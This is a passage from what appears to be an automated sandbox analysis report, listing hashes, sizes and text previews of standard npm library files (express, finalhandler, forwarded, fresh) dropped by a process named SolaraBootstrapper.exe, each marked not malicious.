extname(name);. this.name = n

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2597
Entropy (8bit):	4.7539656629700415
Encrypted:	false
SSDEEP:	48:2gh/NXnDcEJDyi+476U5RxYhNtuACk3w8Be7LkoWO2v2TLL4XVxrl:2gB9nwEJDF+4eU+LCKgLkoY04XVxrl
MD5:	3B5B76B70B0A549DCE72C5A02756D2A8
SHA1:	07786BAEBB5C52882E28A8BD281C9A36D63DD116
SHA-256:	BDD67333AB62B0BFEB10ECBBB23936DB57B743A3EEC580A354591FDF63334859
SHA-512:	BB266DFA725421FB26D26FDA0F45A5FA5CD832667B05F27CEAF4E7FC1E032AEEA8700493CFDD2941C3C38CD166EEE1000D2B9AE3DDEF375714E25A2027A943A3
Malicious:	false
Preview:	{. "name": "express",. "description": "Fast, unopinionated, minimalist web framework",. "version": "4.19.2",. "author": "TJ Holowaychuk <tj@vision-media.ca>",. "contributors": [. "Aaron Heckmann <aaron.heckmann+github@gmail.com>",. "Ciaran Jessup <ciaranj@gmail.com>",. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Guillermo Rauch <rauchg@gmail.com>",. "Jonathan Ong <me@jongleberry.com>",. "Roman Shtylman <shtylman+expressjs@gmail.com>",. "Young Jae Sim <hanul@hanul.me>". ],. "license": "MIT",. "repository": "expressjs/express",. "homepage": "http://expressjs.com/",. "keywords": [. "express",. "framework",. "sinatra",. "web",. "http",. "rest",. "restful",. "router",. "app",. "api". ],. "dependencies": {. "accepts": "~1.3.8",. "array-flatten": "1.1.1",. "body-parser": "1.20.2",. "content-disposition": "0.5.4",. "content-type": "~1.0.4",. "cookie": "0.6.0",. "cookie-signature": "1.0.6",. "deb

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4292
Entropy (8bit):	4.886144130907238
Encrypted:	false
SSDEEP:	96:va4n4/AwRx8+ebFj6JJPdYXH+rtn6oZBn:C4n73d6BYXcBT3
MD5:	061C80FD951E66DFB115A351A3F7547E
SHA1:	8C8B29DF85B7D82D17361838D822D9C464D733C2
SHA-256:	5C7065D29A2710C69516308350A51A140DEDD0E4527F27578405087010CD4B7F
SHA-512:	00AE061B93BD3F7143A55922083F16AE281852332E5D1CEE867417FC1B1189400DEF1E6700FB03EF304D0899E31C1E23F1D38CFC6C6EFA14A9466958650359A7
Malicious:	false
Preview:	1.2.0 / 2022-03-22.==================.. * Remove set content headers that break response. * deps: on-finished@2.4.1. * deps: statuses@2.0.1. - Rename `425 Unordered Collection` to standard `425 Too Early`..1.1.2 / 2019-05-09.==================.. * Set stricter `Content-Security-Policy` header. * deps: parseurl@~1.3.3. * deps: statuses@~1.5.0..1.1.1 / 2018-03-06.==================.. * Fix 404 output for bad / missing pathnames. * deps: encodeurl@~1.0.2. - Fix encoding `%` as last character. * deps: statuses@~1.4.0..1.1.0 / 2017-09-24.==================.. * Use `res.headersSent` when available..1.0.6 / 2017-09-22.==================.. * deps: debug@2.6.9..1.0.5 / 2017-09-15.==================.. * deps: parseurl@~1.3.2. - perf: reduce overhead for full URLs. - perf: unroll the "fast-path" `RegExp`..1.0.4 / 2017-08-03.==================.. * deps: debug@2.6.8..1.0.3 / 2017-05-16.==================.. * deps: debug@2.6.7. - deps: ms@2.0.0..1.0.2 / 2017-04-22.======

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.149960307757634
Encrypted:	false
SSDEEP:	24:/iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:/iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	462B10B32BB9175B97944AABEF4AA171
SHA1:	D07C312C66BE4BDDABA627E873B9E0C5ECBA7CD4
SHA-256:	47DCCCF62BF40469D23849B0B1DC8DF9FC91BCE219B880C638D4DC4596E6B5CF
SHA-512:	EF8DC7AC579171278A483D216628C695F451EADCC2DA1DB672E7451CFCB1407C5ADE28EA7BD2B7F91BB2E29BF0D8A637F550955D648F917A1EB2A93F8E93BA1F
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2022 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TO

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4133
Entropy (8bit):	4.970675126623142
Encrypted:	false
SSDEEP:	96:dXChQ215Sx5V12aU7Pdfa+m6Ux1KxOV5erOdYxJV5erKBa2AMaimUu:dy45V13T+mLb56H56yanMa1Uu
MD5:	0D643D34FEF82EAA878C5432D35961F8
SHA1:	1BDA3F727CF7A20BAEA2AD613B3A8056774AB425
SHA-256:	D3D128173E4AF0F2825667425069051DB5655ED810DD59344404523DDE49AEB3
SHA-512:	E8C68A75A920D8FF4157C8D3706EF91F56D702FF9E357E1A51F869D361B51B9085DFD434963EA61C4BC33964B0E29FAA98A8D648364885BAAB854E2FE8CD22FC
Malicious:	false
Preview:	# finalhandler..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-image]][node-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Node.js function to invoke as the final step to respond to HTTP request...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install finalhandler.```..## API..```js.var finalhandler = require('finalhandler').```..### finalhandler(req, res, [options])..Returns function to be invoked as the final step for the given `req` and `res`..This function is to be invoked as `fn(err)`. If `err` is falsy, the handler will.write out a 404 response to the `res`. If it is truthy, an error response will.be written out to the `

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\SECURITY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1202
Entropy (8bit):	4.469828769598368
Encrypted:	false
SSDEEP:	24:1ZdoSZ8gGz6KHbaKWjdbDF925a/7kJyEyF0eOCYunEfu7WR:1BS3zUKa/7xPYun7WR
MD5:	8C218C1D06FDDE7CBB4926CA8A11144F
SHA1:	3B7D36C55AC91ECDDD14CEBB0F8EB158B443D776
SHA-256:	D0366646BABEB58FF9CB81D794063822B86BD3F3C12E96133C9F55A0812891CD
SHA-512:	BD882A7E1650D032543AD58675FAF52139E1B21C4B3FB809AB7F2D397C5988C0B0C1E1840BA755C78FBA757D36D011B0A6039C37F08770AFF76844C26D498213
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The `finalhandler` team and community take all security bugs seriously. Thank.you for improving the security of Express. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owner(s) of `finalhandler`. This.information can be found in the npm registry using the command.`npm owner ls finalhandler`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/pillarjs/finalhandler/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.yo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	6689
Entropy (8bit):	4.828870033450615
Encrypted:	false
SSDEEP:	192:vMlJv4mtdenb3bGxSEhkhcC76QM6clzM8ilkv958nu4dEljyIYo4:vMom56hnw8
MD5:	D50E9637775204F194D629000189F69C
SHA1:	50D1A1725CB273B0A8E30433DABC43D65F55169B
SHA-256:	96900B458B12085EA16F228151439D9A7BAE6B5D45248E355AD617F4DC213540
SHA-512:	563A8375E3AB7936162A9D209800F8B41C416C1500FE24DE817871C3E5489E8FAF5A4DCB7FB239F697A8736432356E60ECF1578D0AAFC0DE80D6E0AE90C34AAD
Malicious:	false
Preview:	/!. finalhandler. * Copyright(c) 2014-2022 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var debug = require('debug')('finalhandler').var encodeUrl = require('encodeurl').var escapeHtml = require('escape-html').var onFinished = require('on-finished').var parseUrl = require('parseurl').var statuses = require('statuses').var unpipe = require('unpipe')../. Module variables.. * @private. /..var DOUBLE_SPACE_REGEXP = /\x20{2}/g.var NEWLINE_REGEXP = /\n/g../ istanbul ignore next /.var defer = typeof setImmediate === 'function'. ? setImmediate. : function (fn) { process.nextTick(fn.bind.apply(fn, arguments)) }.var isFinished = onFinished.isFinished../. Create a minimal HTML document.. . @param {string} message. * @private. */..function createHtmlDocument (message) {. var body = escapeHtml(message). .replace(NEWLINE_REGEXP, '<br>'). .replace(DOUBLE_SPACE_REGEXP, '  ').. return '<!DOCTYPE html>\n' +.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	4.763086191570409
Encrypted:	false
SSDEEP:	24:vB6aQdr15RPY64Rx714sQGejYuNCHRIZBlWenwfMTknjZKLvP:5tGXWRxeFGejYuNCHRIzUK6MTUjorP
MD5:	3D09AC571E0B6EAF8FDB9806118B6D30
SHA1:	EB758BB6A7D3E4F32F0FA2F941265678539E74F1
SHA-256:	243D853D4386C4132508AE9A99E5176B25BE7F5CB6967BC1BAB241F20E937E72
SHA-512:	0207CF364E3EAC974CAE61EC68FE3975FD1F1EB6150F51293CE67F62DBB0F27A3D9C193101EF282DCD099FC653CA73CD3C875C18E5E266964038E3334697B5B4
Malicious:	false
Preview:	{. "name": "finalhandler",. "description": "Node.js final http responder",. "version": "1.2.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "repository": "pillarjs/finalhandler",. "dependencies": {. "debug": "2.6.9",. "encodeurl": "~1.0.2",. "escape-html": "~1.0.3",. "on-finished": "2.4.1",. "parseurl": "~1.3.3",. "statuses": "2.0.1",. "unpipe": "~1.0.0". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.2",. "nyc": "15.1.0",. "readable-stream": "2.3.6",. "safe-buffer": "5.2.1",. "supertest": "6.2.2". },. "files": [. "LICENSE",. "HISTORY.md",. "SECURITY.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "lint": "esli

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	400
Entropy (8bit):	4.590668775133485
Encrypted:	false
SSDEEP:	6:gFDd+ENX2FAUvSSYTNiv7ZdyTtAxjYYw2GFuZE9FJAweCMNq1FyT3SXHpRZ0N2:g7+kmVQhiv7jyZ4jYYvOFJeVhWXpRCA
MD5:	BA854F852A81318EA0356F4286E20DAB
SHA1:	BD0EFE669AD506AB258BB461D1444D74DD288CE5
SHA-256:	16A998ADF118889EEE706826B2D3BC50B0D6EF228D81EB94A64B47B72D95A398
SHA-512:	64419F572A5B1D243E1A2E7CFB8CA2EEC6FA4E472311B76DCD21A0ED64E8A174C31992A06828813AADFAC230B7E23823198203BF2AF7235F73B4755BCD2DA2B1
Malicious:	false
Preview:	0.2.0 / 2021-05-31.==================.. * Use `req.socket` over deprecated `req.connection`..0.1.2 / 2017-09-14.==================.. * perf: improve header parsing. * perf: reduce overhead when no `X-Forwarded-For` header..0.1.1 / 2017-09-10.==================.. * Fix trimming leading / trailing OWS. * perf: hoist regular expression..0.1.0 / 2014-09-21.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:0iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:0iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	13BABC4F212CE635D68DA544339C962B
SHA1:	4881AD2EC8EB2470A7049421047C6D076F48F1DE
SHA-256:	BD47CE7B88C7759630D1E2B9FCFA170A0F1FDE522BE09E13FB1581A79D090400
SHA-512:	40E30174433408E0E2ED46D24373B12DEF47F545D9183B7BCE28D4DDD8C8BB528075C7F20E118F37661DB9F1BBA358999D81A14425EB3E0A4A20865DFCB53182
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2017 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1654
Entropy (8bit):	5.043298521652171
Encrypted:	false
SSDEEP:	48:eqXC9vRzNdXMoNjM24umPW+/+qhd7mQYAiU:9XCd15FCW+moR
MD5:	5E737F1F3045F9875119CF34BF28FB03
SHA1:	1970B4F2D0DD6BCEF504DF2B88A55BEA3FBB45AF
SHA-256:	114E825A45563255497909DBDC6B776AE7718698896A8E66D8DC980DCD2C1088
SHA-512:	CC9269857ED8E16526A8AF6C1ACE176FB5F6D41205FE9CFF02B4DB5DFAEED43237AE912AD81BC0E0F9E0AEC1A98F7F56F35771AAF9F4DA5B105B3F4C57CC9D69
Malicious:	false
Preview:	# forwarded..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Parse HTTP X-Forwarded-For header..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install forwarded.```..## API..```js.var forwarded = require('forwarded').```..### forwarded(req)..```js.var addresses = forwarded(req).```..Parse the `X-Forwarded-For` header from the request. Returns an array.of the addresses, including the socket address for the `req`, in reverse.order (i.e. index `0` is the socket address and the last index is the.furthest address, typically the end-user)...## Testing..```sh.$ npm test.```..## License..[M

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	4.640957815478201
Encrypted:	false
SSDEEP:	48:uWGqkbr82Vz67qktU+w+D7KGFcjHULCR3A:uqZ2f5xAzauow
MD5:	485E8B30D7F9B0394B2AC54ED51DDB06
SHA1:	55BA3013D25E8273D06EC831847451D15B33FF29
SHA-256:	4CA8DF355D325042545F4A522017926EC460FCB836F10174F2C80BBC4D47AA69
SHA-512:	3575386A7AD542E82F655AAD66DAEDDA88430646F425492394423A67C60E48735EEDBB8EABB79A9F874AA385E1F7275CA86AB7151AE243BED737C89EA3E039C6
Malicious:	false
Preview:	/!. forwarded. * Copyright(c) 2014-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = forwarded../. Get all addresses in the request, using the `X-Forwarded-For` header.. . @param {object} req. * @return {array}. * @public. /..function forwarded (req) {. if (!req) {. throw new TypeError('argument req is required'). }.. // simple header parsing. var proxyAddrs = parse(req.headers['x-forwarded-for'] \|\| ''). var socketAddr = getSocketAddr(req). var addrs = [socketAddr].concat(proxyAddrs).. // return all addresses. return addrs.}../. Get the socket address for a request.. . @param {object} req. * @return {string}. * @private. /..function getSocketAddr (req) {. return req.socket. ? req.socket.remoteAddress. : req.connection.remoteAddress.}../. Parse the X-Forwarded-For header.. . @param {string} header. * @private. */..function parse (header) {. var end = header.length. var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.84598824339977
Encrypted:	false
SSDEEP:	24:mIMNr1LxVWOXzfP61u8WCdIZCLlWecB6T+lwZKLl105P6u:mIYNVWwfS1ujCdIQUee0+qo703
MD5:	E7DF15EB8D27ABEC5607F111411A9DF1
SHA1:	5D558CAD52024D41373AE030C0D7FF67E8DFD7FE
SHA-256:	550A78F64B6A76BC353D6A10152AF5750613D0D910F8478943176C1A6196158A
SHA-512:	E589265C66CDFB98ACAE434C3A7C77236A594F3B43749A65246A6290D0771C4B5F7DFBAF0A19A37002C5B905FAF427065D4E4A3428F4D549C7CB5CD372FA09FC
Malicious:	false
Preview:	{. "name": "forwarded",. "description": "Parse HTTP X-Forwarded-For header",. "version": "0.2.0",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "keywords": [. "x-forwarded-for",. "http",. "req". ],. "repository": "jshttp/forwarded",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "deep-equal": "1.0.1",. "eslint": "7.27.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.23.4",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.3.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "8.4.0",. "nyc": "15.1.0". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcov --reporter=text np

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1500
Entropy (8bit):	4.803106096666345
Encrypted:	false
SSDEEP:	24:rfaybuDNkHl1DeYtmwv+qXPcnMR0kJsGQqyMwNMZTS:rTbgknDnd/cUHqGyfN4m
MD5:	47E08786429A2F1A69B5D251E51A9D16
SHA1:	0C463267A7D2F15EDE1CACBD5E326202A123208F
SHA-256:	C2D714EAF4558DE25AB7EA991F52899610CD566FEC897838AD24306FA2F8F409
SHA-512:	B8DD61DF9059F750DB6B44A3643F6784CA39A0BA41C16C1491240A32932A4D22AE9F88900817BBF1BD3AE1014EABA3E083734D1509CA27A3757973118281E0F6
Malicious:	false
Preview:	0.5.2 / 2017-09-13.==================.. * Fix regression matching multiple ETags in `If-None-Match`. * perf: improve `If-None-Match` token parsing..0.5.1 / 2017-09-11.==================.. * Fix handling of modified headers with invalid dates. * perf: improve ETag match loop..0.5.0 / 2017-02-21.==================.. * Fix incorrect result when `If-None-Match` has both `` and ETags. Fix weak `ETag` matching to match spec. * perf: delay reading header values until needed. * perf: skip checking modified time if ETag check failed. * perf: skip parsing `If-None-Match` when no `ETag` header. * perf: use `Date.parse` instead of `new Date`..0.4.0 / 2017-02-05.==================.. * Fix false detection of `no-cache` request directive. * perf: enable strict mode. * perf: hoist regular expressions. * perf: remove duplicate conditional. * perf: remove unnecessary boolean coercions..0.3.0 / 2015-05-12.==================.. * Add weak `ETag` matching support..0.2.4 / 2014-09-07.=====

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1174
Entropy (8bit):	5.206011098331856
Encrypted:	false
SSDEEP:	24:JAiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:WiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	373C2CF0978B37E434394A43B4CBBDB4
SHA1:	D45235E8D9D1D656420A760A676EA7152386969F
SHA-256:	A0EC0DAB16B3666F24950F86D257930AC2AD475557B4BFE245620E0817D8A45D
SHA-512:	06168D57A372AD11F29A4197232990076760DBF77F0FF0FD8292190154B5E523EB7A2DE328463C6CEF5D9A68E0D2D5C85520C26F82CDA502231260EA71A1F1B0
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2016-2017 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3374
Entropy (8bit):	4.950844818552558
Encrypted:	false
SSDEEP:	48:WqXC9RRYNdXMoNjGX3DkXthGqLEkfTQjbdLpb9ugUkDwWfr42RX57bowLIsMPmjO:lXCs15qcL7mbdl9U5sMPmj2WuB
MD5:	2409EBA75B77A1B1258045CD372B4B6E
SHA1:	D9A44594AF9E00577BF6DB57038DABD6CEED58A7
SHA-256:	AE9229E6A75E3F63F9CC1F651C6E1CAFAEDCC26852AFE5FFED8A79C107B54AA5
SHA-512:	3BE6E030C964CB5783A017D7452E84134EB6008C3389D0FFE79B718586BD47723BBA80FCF1BE2900A17EF5A16BB6F934BDBABCC1241486EAF08D043A0C723242
Malicious:	false
Preview:	# fresh..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..HTTP response freshness testing..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```.$ npm install fresh.```..## API.. eslint-disable no-unused-vars -->..```js.var fresh = require('fresh').```..### fresh(reqHeaders, resHeaders)..Check freshness of the response using request and response headers...When the response is still "fresh" in the client's cache `true` is.returned, otherwise `false` is returned to indicate that the client.cache is now stale and the full response should be sent...When a client sends the `Cache-Control: no

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2711
Entropy (8bit):	4.865834298886165
Encrypted:	false
SSDEEP:	48:CCksovsWdYvS9zjpCVxeMlOmGvXUWS/CGfOqRK9mFZx4FHUJZ:3Y3C69zlCVxeM/GvIfh86mAZ
MD5:	57DBAFB6C310CE7063690F5688ACEDD5
SHA1:	CFC0704230B5D08C39F9847F7E1E808369B4110E
SHA-256:	85B46CE10C4FBA71FB41666586572277F626BBC698266026372941B5267BFB60
SHA-512:	D8DD9A0A5ACA5D5B476D4F365F3AD999393F76592E9340219946C79BCED1BF3C019622474B829FD28AD131F540BFB3132E635D66588F44548384F696DAA227F2
Malicious:	false
Preview:	/!. fresh. * Copyright(c) 2012 TJ Holowaychuk. * Copyright(c) 2016-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. RegExp to check for no-cache token in Cache-Control.. * @private. /..var CACHE_CONTROL_NO_CACHE_REGEXP = /(?:^\|,)\s?no-cache\s?(?:,\|$)/../. Module exports.. * @public. /..module.exports = fresh../. Check freshness of the response using request and response headers.. . @param {Object} reqHeaders. * @param {Object} resHeaders. * @return {Boolean}. * @public. */..function fresh (reqHeaders, resHeaders) {. // fields. var modifiedSince = reqHeaders['if-modified-since']. var noneMatch = reqHeaders['if-none-match'].. // unconditional request. if (!modifiedSince && !noneMatch) {. return false. }.. // Always return stale when Cache-Control: no-cache. // to support end-to-end reload requests. // https://tools.ietf.org/html/rfc2616#section-14.9.4. var cacheControl = reqHeaders['cache-control']. if (cacheControl && CACHE_CONTRO

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	4.895796702793062
Encrypted:	false
SSDEEP:	24:rSqH1QVhxVWbeqfP6ifPVQeZWnWPKB6T+l6oOUZqy4y8e1w:rDY3VWbeqfSifPVQeQWPc0+woOUogw
MD5:	193849CF18966DE2814F4F6E85740069
SHA1:	6D90F7658279184066C5EE790CFA3DDE6921951B
SHA-256:	65F8EBD91560A3A6143F06BD9066D337BCF5F0C53E4A5329B98894F24EEFB8B1
SHA-512:	F5BF3DD3E7C630E5B7A8D4DE5068B036153958B4F6952F2A4F42B7642C04E931240CBAA9842FEB2EFB51537C6335CBB4F00D621CECC30981E64B0C04AAEF6DA6
Malicious:	false
Preview:	{. "name": "fresh",. "description": "HTTP response freshness testing",. "version": "0.5.2",. "author": "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "keywords": [. "fresh",. "http",. "conditional",. "cache". ],. "repository": "jshttp/fresh",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "3.19.0",. "eslint-config-standard": "10.2.1",. "eslint-plugin-import": "2.7.0",. "eslint-plugin-markdown": "1.0.0-beta.6",. "eslint-plugin-node": "5.1.1",. "eslint-plugin-promise": "3.5.0",. "eslint-plugin-standard": "3.0.1",. "istanbul": "0.4.5",. "mocha": "1.21.5". },. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "bench": "node benchmark/ind

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	253
Entropy (8bit):	4.643130313692654
Encrypted:	false
SSDEEP:	6:ExL0UxNSHQyt5t+gcV7YNxxNHHWBs9QNSVLASMK8Pdsms4A:ErxN7yfjxNHH2NYMFsX
MD5:	2DF142FE306FC91BF4270B4F02DF9F60
SHA1:	22CE54CB7D4FC73B6C3BBDE61DBECA26BF9A66AA
